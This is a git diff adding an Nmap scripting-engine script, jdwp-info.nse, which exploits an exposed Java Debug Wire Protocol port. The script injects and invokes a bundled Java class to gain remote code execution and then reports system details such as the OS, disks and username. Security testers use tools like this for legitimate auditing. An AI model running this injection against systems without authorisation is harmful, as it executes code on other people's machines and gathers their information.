1 files changed, 93 insertions, 0 deletions
diff --git a/scripts/jdwp-info.nse b/scripts/jdwp-info.nse
new file mode 100644
index 0000000..9c4ee00
--- /dev/null
+++ b/scripts/jdwp-info.nse
@@ -0,0 +1,93 @@
+local io = require "io"
+local jdwp = require "jdwp"
+local stdnse = require "stdnse"
+local string = require "string"
+local nmap = require "nmap"
+local shortport = require "shortport"
+
+description = [[
+Attempts to exploit java's remote debugging port.  When remote
+debugging port is left open, it is possible to inject java bytecode
+and achieve remote code execution.  This script injects and execute a
+Java class file that returns remote system information.
+]]
+
+author = "Aleksandar Nikolic"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"default","safe","discovery"}
+
+---
+-- @usage nmap -sT <target> -p <port> --script=+jdwp-info
+-- @output
+-- PORT     STATE SERVICE REASON
+-- 2010/tcp open  search  syn-ack
+-- | jdwp-info:
+-- |   Available processors: 1
+-- |   Free memory: 15331736
+-- |   File system root: A:\
+-- |   Total space (bytes): 0
+-- |   Free space (bytes): 0
+-- |   File system root: C:\
+-- |   Total space (bytes): 42935926784
+-- |   Free space (bytes): 29779054592
+-- |   File system root: D:\
+-- |   Total space (bytes): 0
+-- |   Free space (bytes): 0
+-- |   Name of the OS: Windows XP
+-- |   OS Version : 5.1
+-- |   OS patch level : Service Pack 3
+-- |   OS Architecture: x86
+-- |   Java version: 1.7.0_01
+-- |   Username: user
+-- |   User home: C:\Documents and Settings\user
+-- |_  System time: Sat Aug 11 15:21:44 CEST 2012
+
+portrule = function(host, port)
+  -- JDWP will close the port if there is no valid handshake within 2
+  -- seconds, Service detection's NULL probe detects it as tcpwrapped.
+  return port.service == "tcpwrapped"
+  and port.protocol == "tcp" and port.state == "open"
+  and not(shortport.port_is_excluded(port.number,port.protocol))
+end
+
+action = function(host, port)
+  stdnse.sleep(5) -- let the remote socket recover from connect() scan
+  local status,socket = jdwp.connect(host,port) -- initialize the connection
+  if not status then
+    stdnse.debug1("error, %s",socket)
+    return nil
+  end
+
+  -- read .class file
+  local file = io.open(nmap.fetchfile("nselib/data/jdwp-class/JDWPSystemInfo.class"), "rb")
+  local class_bytes = file:read("a")
+
+  -- inject the class
+  local injectedClass
+  status,injectedClass = jdwp.injectClass(socket,class_bytes)
+  if not status then
+    stdnse.debug1("Failed to inject class")
+    return stdnse.format_output(false, "Failed to inject class")
+  end
+  -- find injected class method
+  local runMethodID = jdwp.findMethod(socket,injectedClass.id,"run",false)
+
+  if runMethodID == nil then
+    stdnse.debug1("Couldn't find run method")
+    return stdnse.format_output(false, "Couldn't find run method.")
+  end
+
+  -- invoke run method
+  local result
+  status, result = jdwp.invokeObjectMethod(socket,0,injectedClass.instance,injectedClass.thread,injectedClass.id,runMethodID,0,nil)
+  if not status then
+    stdnse.debug1("Couldn't invoke run method")
+    return stdnse.format_output(false, result)
+  end
+  -- get the result string
+  local stringID = string.unpack(">x I8",result)
+  status,result = jdwp.readString(socket,0,stringID)
+  -- parse results
+  return stdnse.format_output(status,result)
+end
+